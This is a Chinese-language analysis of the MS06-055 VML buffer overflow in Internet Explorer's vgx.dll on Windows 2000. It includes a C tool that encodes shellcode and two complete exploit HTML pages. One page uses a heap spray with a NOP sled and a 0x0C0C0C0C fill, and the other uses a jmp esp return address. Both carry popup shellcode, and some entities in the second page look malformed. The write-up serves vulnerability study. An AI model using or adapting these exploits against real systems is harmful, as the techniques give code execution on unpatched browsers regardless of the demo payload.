MS06-055分析

概述

在Windows 2000 SP0平台下, vgx.dll 版本为5.0.3014.1003,文件大小为1753160字节,漏洞函数地址为0x659D7B46,用于解析VML语言的_IE5_SHADETYPE_TEXT函数,:



动态分析

用于测试测试的HTML:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>fortest</title>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
</head>
<body>
<v:rect style="HEIGHT: 444pt; WIDTH: 444pt" coordsize = "21600,21600" fillcolor = "yellow">
<v:fill method = "AAAA">
</v:rect>
</v:fill>
</body>
</html>

patch到漏洞点,第一个函数运行完毕后堆栈情况:

被函数sub_659D7AEA解析后,将内容”AAAA”复制到栈空间中,当该参数足够多时就会导致溢出。

漏洞利用

这里使用heap spary的方式进行攻击,这里首先需要对shellcode进行一个简单的转码,转化为JavaScript所能够识别的Unicode格式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
FILE * fp = NULL;
void A2U(unsigned char * ascii, int size)
{
int i = 0;
unsigned int unicode = 0;

for (i = 0; i<size; i += 2)//read a unicode
{
unicode = (ascii[i + 1] << 8) + ascii[i];
//printf("\\u%0.4x", unicode);
fprintf(fp, "\\u%0.4x", unicode);
}
}
void main(int argc, char **argv)
{
unsigned char popup_general[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x74\x65\x73\x74\x68\x6D\x69\x78\x69\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
if ((fp = fopen("unicode_shellcode.txt", "w")) == NULL)
exit(0);
A2U(popup_general, 168);
fclose(fp);
}

exp页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>failwest</title>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
</head>
<script language="javascript">
var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6574\u7473\u6d68\u7869\u8b69\u53c4\u5050\uff53\ufc57\uff53\uf857";
var nop="\u9090\u9090";
while (nop.length<= 0x100000/2)
{
nop+=nop;
}

nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );
var slide = new Array();
for (var i=0; i<200; i++)
{
slide[i] = nop + shellcode;
}

</script>
<body>
<v:rect style="width:444pt;height:444pt" fillcolor="black">
<v:fill method="&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;"/>
</v:rect>
</body>
</html>

由于这里的栈空间长度过大,使用heap spray的方式攻击较为方便,创建200个大小为1MB的块,填充(nop+(32 bytes)堆块信息+(4 bytes)字符串长度+(2 bytes)字符串结束符),最后将栈空间的内容填充为0x0C0C0C0C,这样当程序返回地址返回到0x0C0C0C0C时,遇到nop就会跳过,运行到shellcode部分:

当然也可以算出返回地址距离参数的长度,patch掉,然后再返回地址填充”jmp esp”,再接shellcode即可:

payload=(520 bytes)patch+

(4 bytes)jmp_esp+

0x90909090+0x9090909090+

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>fortest</title>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
</head>
<body>
<v:rect style="HEIGHT: 444pt; WIDTH: 444pt" coordsize = "21600,21600" fillcolor = "yellow">
<v:fill method = "&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#xcc;&#x9eb8;&#x77e1;&#x9090;&#x9090;&#x9090;&#x9090;&#x68fc;&#xa6a;&#x1e38;&#x6368;&#xd189;&#x684f;&#x7432;&#xc91;&#x8b9;&#x8df4;&#xf47e;&#xdb33;&#x4b7;&#xe32b;&#xbb66;&#x3233;&#x953;&#x7568;&#x6573;&#x5472;&#xd233;&#x8b64;&#x305a;&#x4b8b;&#x8bc;&#x499;&#x8b1c;&#x8b9;&#x869;&#x3dad;&#xa6a;&#x1e38;&#x575;&#x995;&#x57ff;&#x95f8;&#x8b60;&#x3c45;&#x4c8b;&#x785;&#xcd3;&#x598b;&#x209;&#xdd3;&#xff33;&#x8b47;&#xbb34;&#xf53;&#xf99;&#x6be;&#x93a;&#x74c4;&#xc18;&#x7ca;&#xd03;&#xeb46;&#x3bf1;&#x2454;&#x751c;&#xe49;&#x598b;&#x324;&#x66dd;&#x3c8b;&#x8b7b;&#x1c59;&#xdd3;&#x93;&#xbb2c;&#x5f95;&#x57ab;&#x3d61;&#xa6a;&#x1e38;&#xa975;&#xdb33;&#x539;&#x7468;&#x7365;&#x6874;&#x696d;&#x6978;&#xc48b;&#x5053;&#x950;&#xff53;&#xfc57;&#xff53;&#xf857;"/>
</v:rect>
</v:fill>
</body>
</html>

调试可以看到函数返回后到jmp esp的位置,再进一步进入shellcode地区:

进一步走得出弹窗: